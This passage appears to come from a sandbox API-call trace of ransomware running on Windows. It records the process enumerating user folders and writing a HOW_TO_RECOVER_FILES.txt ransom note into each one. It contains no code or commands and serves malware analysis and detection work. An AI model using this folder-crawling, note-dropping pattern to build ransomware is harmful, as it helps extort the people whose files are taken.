lpFilePart=0x0) returned 0x24 [0187.312] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\Camera Roll\\*", lpFindFileData=0x202ed6c0 | out: lpFindFileData=0x202ed6c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x51278b1d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd45b4543, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x51278b1d, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0187.313] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x51278b1d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd45b4543, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x51278b1d, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0187.313] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x51278b1d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x51278b1d, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x51278b1d, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0xbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0187.313] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0187.313] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0187.313] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8e0) returned 1 [0187.313] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8a0) returned 1 [0187.313] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed9a0) returned 1 [0187.313] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\Camera Roll", nBufferLength=0x105, lpBuffer=0x202ed440, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\Camera Roll", lpFilePart=0x0) returned 0x24 [0187.313] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\Camera Roll\\*", lpFindFileData=0x202ed6c0 | out: lpFindFileData=0x202ed6c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x51278b1d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd45b4543, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x51278b1d, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0187.314] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x51278b1d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd45b4543, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x51278b1d, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0187.314] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x51278b1d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x51278b1d, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x51278b1d, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0xbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0187.314] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x51278b1d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x51278b1d, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x51278b1d, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0xbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0187.314] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0187.314] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8e0) returned 1 [0187.314] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8a0) returned 1 [0187.314] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\Camera Roll\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ed3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\Camera Roll\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x3d [0187.314] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed910) returned 1 [0187.314] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\Camera Roll\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\pictures\\camera roll\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x81c [0187.419] GetFileType (hFile=0x81c) returned 0x1 [0187.419] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed880) returned 1 [0187.419] GetFileType (hFile=0x81c) returned 0x1 [0188.095] WriteFile (in: hFile=0x81c, lpBuffer=0x38abc68*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ed9d8, lpOverlapped=0x0 | out: lpBuffer=0x38abc68*, lpNumberOfBytesWritten=0x202ed9d8*=0x5d0, lpOverlapped=0x0) returned 1 [0188.096] CloseHandle (hObject=0x81c) returned 1 [0188.096] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed9a0) returned 1 [0188.096] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\Saved Pictures", nBufferLength=0x105, lpBuffer=0x202ed440, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\Saved Pictures", lpFilePart=0x0) returned 0x27 [0188.096] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\Saved Pictures\\*", lpFindFileData=0x202ed6c0 | out: lpFindFileData=0x202ed6c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x51311410, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd45b4e37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x51311410, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ecdd410 [0188.096] FindNextFileW (in: hFindFile=0x1ecdd410, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x51311410, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd45b4e37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x51311410, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0188.097] FindNextFileW (in: hFindFile=0x1ecdd410, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x51311410, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x51311410, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x51311410, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0xbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0188.097] FindNextFileW (in: hFindFile=0x1ecdd410, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0188.097] FindClose (in: hFindFile=0x1ecdd410 | out: hFindFile=0x1ecdd410) returned 1 [0188.097] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8e0) returned 1 [0188.097] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8a0) returned 1 [0188.097] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed9a0) returned 1 [0188.097] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\Saved Pictures", nBufferLength=0x105, lpBuffer=0x202ed440, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\Saved Pictures", lpFilePart=0x0) returned 0x27 [0188.097] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\Saved Pictures\\*", lpFindFileData=0x202ed6c0 | out: lpFindFileData=0x202ed6c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x51311410, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd45b4e37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x51311410, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ecdd6b0 [0188.097] FindNextFileW (in: hFindFile=0x1ecdd6b0, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x51311410, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd45b4e37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x51311410, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0188.097] FindNextFileW (in: hFindFile=0x1ecdd6b0, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x51311410, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x51311410, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x51311410, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0xbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0188.098] FindNextFileW (in: hFindFile=0x1ecdd6b0, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x51311410, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x51311410, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x51311410, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0xbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0188.098] FindClose (in: hFindFile=0x1ecdd6b0 | out: hFindFile=0x1ecdd6b0) returned 1 [0188.098] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8e0) returned 1 [0188.098] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8a0) returned 1 [0188.098] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\Saved Pictures\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ed3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\Saved Pictures\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x40 [0188.098] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed910) returned 1 [0188.098] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\Saved Pictures\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\pictures\\saved pictures\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x81c [0188.099] GetFileType (hFile=0x81c) returned 0x1 [0188.099] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed880) returned 1 [0188.099] GetFileType (hFile=0x81c) returned 0x1 [0188.100] WriteFile (in: hFile=0x81c, lpBuffer=0x38bce60*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ed9d8, lpOverlapped=0x0 | out: lpBuffer=0x38bce60*, lpNumberOfBytesWritten=0x202ed9d8*=0x5d0, lpOverlapped=0x0) returned 1 [0188.101] CloseHandle (hObject=0x81c) returned 1 [0188.101] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ede20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x31 [0188.101] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee340) returned 1 [0188.101] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\pictures\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x81c [0188.102] GetFileType (hFile=0x81c) returned 0x1 [0188.102] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee2b0) returned 1 [0188.102] GetFileType (hFile=0x81c) returned 0x1 [0188.102] WriteFile (in: hFile=0x81c, lpBuffer=0x38c0678*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ee408, lpOverlapped=0x0 | out: lpBuffer=0x38c0678*, lpNumberOfBytesWritten=0x202ee408*=0x5d0, lpOverlapped=0x0) returned 1 [0188.103] CloseHandle (hObject=0x81c) returned 1 [0188.103] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee3d0) returned 1 [0188.103] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\PrintHood", nBufferLength=0x105, lpBuffer=0x202ede70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\PrintHood", lpFilePart=0x0) returned 0x19 [0188.104] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\PrintHood\\*", lpFindFileData=0x202ee0f0 | out: lpFindFileData=0x202ee0f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0188.104] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee380) returned 1 [0188.106] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\PrintHood\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ede20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\PrintHood\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x32 [0188.106] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee340) returned 1 [0188.106] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\PrintHood\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\printhood\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x81c [0188.107] GetFileType (hFile=0x81c) returned 0x1 [0188.107] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee2b0) returned 1 [0188.107] GetFileType (hFile=0x81c) returned 0x1 [0188.107] WriteFile (in: hFile=0x81c, lpBuffer=0x38d0bf0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ee408, lpOverlapped=0x0 | out: lpBuffer=0x38d0bf0*, lpNumberOfBytesWritten=0x202ee408*=0x5d0, lpOverlapped=0x0) returned 1 [0188.108] CloseHandle (hObject=0x81c) returned 1 [0188.108] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee3d0) returned 1 [0188.108] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Recent", nBufferLength=0x105, lpBuffer=0x202ede70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Recent", lpFilePart=0x0) returned 0x16 [0188.109] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Recent\\*", lpFindFileData=0x202ee0f0 | out: lpFindFileData=0x202ee0f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0188.109] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee380) returned 1 [0188.111] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Recent\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ede20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Recent\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x2f [0188.111] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee340) returned 1 [0188.111] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Recent\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\recent\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x81c [0188.114] GetFileType (hFile=0x81c) returned 0x1 [0188.114] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee2b0) returned 1 [0188.114] GetFileType (hFile=0x81c) returned 0x1 [0188.115] WriteFile (in: hFile=0x81c, lpBuffer=0x38e4768*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ee408, lpOverlapped=0x0 | out: lpBuffer=0x38e4768*, lpNumberOfBytesWritten=0x202ee408*=0x5d0, lpOverlapped=0x0) returned 1 [0188.116] CloseHandle (hObject=0x81c) returned 1 [0188.116] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee3d0) returned 1 [0188.116] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Saved Games", nBufferLength=0x105, lpBuffer=0x202ede70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Saved Games", lpFilePart=0x0) returned 0x1b [0188.116] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Saved Games\\*", lpFindFileData=0x202ee0f0 | out: lpFindFileData=0x202ee0f0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd45b644a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce4e13d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ecdce70 [0188.116] FindNextFileW (in: hFindFile=0x1ecdce70, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd45b644a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce4e13d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0188.116] FindNextFileW (in: hFindFile=0x1ecdce70, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x441f699e, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x441f699e, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce4e13d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0188.117] FindNextFileW (in: hFindFile=0x1ecdce70, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0188.117] FindClose (in: hFindFile=0x1ecdce70 | out: hFindFile=0x1ecdce70) returned 1 [0188.117] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee310) returned 1 [0188.117] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee2d0) returned 1 [0188.117] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee3d0) returned 1 [0188.117] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Saved Games", nBufferLength=0x105, lpBuffer=0x202ede70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Saved Games", lpFilePart=0x0) returned 0x1b [0188.117] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Saved Games\\*", lpFindFileData=0x202ee0f0 | out: lpFindFileData=0x202ee0f0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd45b644a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce4e13d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ecdd530 [0188.117] FindNextFileW (in: hFindFile=0x1ecdd530, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd45b644a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce4e13d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0188.117] FindNextFileW (in: hFindFile=0x1ecdd530, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x441f699e, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x441f699e, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce4e13d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0188.118] FindNextFileW (in: hFindFile=0x1ecdd530, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x441f699e, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x441f699e, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce4e13d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0188.118] FindClose (in: hFindFile=0x1ecdd530 | out: hFindFile=0x1ecdd530) returned 1 [0188.118] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee310) returned 1 [0188.118] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee2d0) returned 1 [0188.118] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Saved Games\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ede20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Saved Games\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x34 [0188.118] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee340) returned 1 [0188.118] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Saved Games\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\saved games\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x81c [0188.118] GetFileType (hFile=0x81c) returned 0x1 [0188.118] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee2b0) returned 1 [0188.118] GetFileType (hFile=0x81c) returned 0x1 [0188.119] WriteFile (in: hFile=0x81c, lpBuffer=0x38f5678*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ee408, lpOverlapped=0x0 | out: lpBuffer=0x38f5678*, lpNumberOfBytesWritten=0x202ee408*=0x5d0, lpOverlapped=0x0) returned 1 [0188.120] CloseHandle (hObject=0x81c) returned 1 [0188.120] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee3d0) returned 1 [0188.120] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Searches", nBufferLength=0x105, lpBuffer=0x202ede70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Searches", lpFilePart=0x0) returned 0x18 [0188.121] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Searches\\*", lpFindFileData=0x202ee0f0 | out: lpFindFileData=0x202ee0f0*(dwFileAttributes=0x11, 